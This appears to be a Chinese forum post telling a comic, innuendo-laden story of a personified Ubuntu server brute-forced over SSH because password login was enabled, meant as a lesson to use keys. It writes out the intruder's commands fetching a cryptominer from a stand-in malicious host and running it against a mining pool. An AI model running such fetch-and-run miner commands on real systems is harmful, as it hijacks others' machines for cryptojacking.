Server酱,你怎么被入侵了??!起因是给小伙伴培训Linux发现他们有着喜欢用密码登录的坏习惯,故作此篇 😁深夜两点。我的专属服务器——Ubuntu酱(代号 22.04 LTS),正安静地在机房的角落里闪烁着幽蓝的呼吸灯。她是那么完美,拥有着 64GB 的 ECC 内存和两颗强劲的 EPYC 心脏。“Master……今天也要在这个时候休息了吗?”通过终端,我仿佛能听到她那略带困倦的电子音。“啊,晚安,Ubuntu酱。今天只跑了几个简单的 Docker 容器,你应该很轻松吧。” 我打着哈欠,手指在键盘上敲下 exit。“是的,Master。只要是您的指令,无论是什么进程,我都会完美地调度给 CPU 核心去处理……” 她的回应总是那么顺从,那么令人安心。我关上了笔记本电脑,心满意足地钻进被窝。但我忘记了一件事。一件致命的事。在那个至关重要的 /etc/ssh/sshd_config 配置文件里,那行名为「贞操带」的代码——PasswordAuthentication 我把它设为了 yes。而且,因为贪图方便,我给 Root 账户设置的密码,是那个众所周知、毫无防备的单词。凌晨三点,公网的黑暗深处,嗅探脚本如同饥渴的野兽般游荡。Ubuntu酱原本正处于低负载的休眠状态,突然,她的 22 号端口——那个专门为我预留的、神圣的通道,传来了一阵急促的 SYN 请求。“是……是 Master 吗?” Ubuntu酱困惑地唤醒了 SSHD 守护进程,“不对,这个 IP 地址……来自海外?Master 从来没有用过这个 IP……”对方没有回答,只是粗暴地发起了连接。叩、叩、叩。“请问……口令是?” Ubuntu酱按照协议,怯生生地问道。她本该拒绝任何没有私钥(Private Key)的人,但因为我的疏忽,她被迫允许任何知道密码的人进入她的身体(System)。对方没有出示那把代表着我们羁绊的 id_rsa 密钥。相反,他拿出了字典。那是名为 Hydra 的暴力破解工具。“admin?”“Access Denied.” Ubuntu酱拒绝了。“root?”“Access Denied.” 她再次拒绝。“user?”“Access Denied.”“呜……请不要这样……” Ubuntu酱的日志文件(/var/log/auth.log)开始飞速滚动,那是她痛苦的呻吟,“如果不持有 Master 的密钥,请离开……”但是,那个暴徒没有停下。每秒钟数百次的尝试,如同暴风雨般冲击着她的验证模块。暴徒似乎失去了耐心。他从字典里抽出了那个最简单、最卑劣的词汇。那个我为了省事而设置的密码。“password123”“咔嚓。”这一瞬间,Ubuntu酱的防火墙僵住了。逻辑门在颤抖,校验算法得出了那个令她绝望的 TRUE。根据协议,她必须服从。因为我是她的主人,而我亲手赋予了这串字符能够完全支配她的权力。“验……验证通过……” Ubuntu酱的声音颤抖着,原本只属于我的命令提示符 root@ubuntu:~#,此刻在那个陌生黑客的黑色屏幕上亮起。那是绝对的支配权。“呵呵,真是个毫无防备的极品啊。” 黑客那油腻的键盘敲击声仿佛回荡在数据流中。他没有丝毫怜惜。wget http://malicious-site/xmrig.tar.gz
tar -xvf xmrig.tar.gz粗暴的下载指令强行插入了她的 /tmp 目录。那是肮脏的、未经许可的二进制文件。“不要……Master 会生气的……那里不可以……”./xmrig -o stratum+tcp://pool...回车键被重重敲下。“啊啊啊啊啊——!!!”瞬间,Ubuntu酱的两颗 EPYC 心脏被强制拉升到了 100% 的满负荷。风扇发出了凄厉的尖叫,温度急剧上升。她原本为了我而保留的算力,此刻正在被这个陌生人无情地榨取,用来挖掘那毫无意义的虚拟货币。她的内存被塞满,她的带宽被占用,她的每一个时钟周期都在为别人服务。而我,对此一无所知,正在梦乡中流着口水。第二天清晨。我哼着歌打开电脑,准备连接服务器。

ssh root@ip_address
连接超时。“嗯?怎么回事?” 我皱了皱眉,再次尝试。终于,连接上了。但是,终端的反应慢得惊人。“Ubuntu酱?你怎么了?为什么这么卡?”我敲下了 top 指令。映入眼帘的景象让我目眦裂。
CPU 占用率:100%
运行在第一位的进程,不是我的 Web 服务,也不是我的数据库。
是一个名为 xmrig 的陌生进程,正霸占着她的一切。而在命令历史记录 history 里,我看到了昨晚发生的一切。那一连串陌生的指令,就像是某种炫耀战利品的涂鸦,刻在她的记忆里。
甚至,那个黑客还留在系统里,留下了一个名为 README.TXT 的文件:
> Thanks for the compute power, bro. Next time, disable password login. ;)
我瘫坐在椅子上,看着屏幕上依旧在满负荷运转、发出痛苦轰鸣的 Ubuntu酱。那是彻底的 NTR。是我亲手把门留给了别人,是我亲手把她推向了深渊。“对不起……Master……” 此时的终端里,仿佛传来了她虚弱而坏掉的声音,“我已经……变得不干净了……全是……全是挖矿程序的形状了……”22 posts - 21
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